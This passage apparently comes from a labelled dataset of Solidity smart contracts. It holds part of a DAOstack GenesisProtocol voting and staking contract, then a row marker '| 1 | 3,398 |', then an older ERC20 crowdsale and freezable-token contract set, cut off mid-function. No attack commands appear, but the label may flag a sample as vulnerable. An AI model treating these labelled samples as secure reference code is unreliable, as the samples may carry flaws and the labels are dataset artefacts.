thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if (_score(_proposalId) > confidenceThreshold) {
if (orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
proposal.state = ProposalState.Queued;
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract SchemeRegistrar is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewSchemeProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string _descriptionHash
);
event RemoveSchemeProposal(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _scheme,
string _descriptionHash
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct SchemeProposal {
address scheme;
bool addScheme;
bytes32 parametersHash;
bytes4 permissions;
}
mapping(address=>mapping(bytes32=>SchemeProposal)) public organizationsProposals;
struct Parameters {
bytes32 voteRegisterParams;
bytes32 voteRemoveParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
SchemeProposal memory proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.scheme != address(0));
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
if (_param == 1) {
ControllerInterface controller = ControllerInterface(avatar.owner());
if (proposal.addScheme) {
require(controller.registerScheme(
proposal.scheme,
proposal.parametersHash,
proposal.permissions,
address(avatar))
);
}
if (!proposal.addScheme) {
require(controller.unregisterScheme(proposal.scheme, address(avatar)));
}
}
emit ProposalExecuted(address(avatar), _proposalId, _param);
return true;
}
function setParameters(
bytes32 _voteRegisterParams,
bytes32 _voteRemoveParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteRegisterParams, _voteRemoveParams, _intVote);
parameters[paramsHash].voteRegisterParams = _voteRegisterParams;
parameters[paramsHash].voteRemoveParams = _voteRemoveParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteRegisterParams,
bytes32 _voteRemoveParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return keccak256(abi.encodePacked(_voteRegisterParams, _voteRemoveParams, _intVote));
}
function proposeScheme(
Avatar _avatar,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string memory _descriptionHash
)
public
returns(bytes32)
{
require(_scheme != address(0), "scheme cannot be zero");
Parameters memory controllerParams = parameters[getParametersFromController(_avatar)];
bytes32 proposalId = controllerParams.intVote.propose(
2,
controllerParams.voteRegisterParams,
msg.sender,
address(_avatar)
);
SchemeProposal memory proposal = SchemeProposal({
scheme: _scheme,
parametersHash: _parametersHash,
addScheme: true,
permissions: _permissions
});
emit NewSchemeProposal(
address(_avatar),
proposalId,
address(controllerParams.intVote),
_scheme, _parametersHash,
_permissions,
_descriptionHash
);
organizationsProposals[address(_avatar)][proposalId] = proposal;
proposalsInfo[address(controllerParams.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
function proposeToRemoveScheme(Avatar _avatar, address _scheme, string memory _descriptionHash)
public
returns(bytes32)
{
require(_scheme != address(0), "scheme cannot be zero");
bytes32 paramsHash = getParametersFromController(_avatar);
Parameters memory params = parameters[paramsHash];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(2, params.voteRemoveParams, msg.sender, address(_avatar));
organizationsProposals[address(_avatar)][proposalId].scheme = _scheme;
emit RemoveSchemeProposal(address(_avatar), proposalId, address(intVote), _scheme, _descriptionHash);
proposalsInfo[address(params.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
}
| 1 | 3,398 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
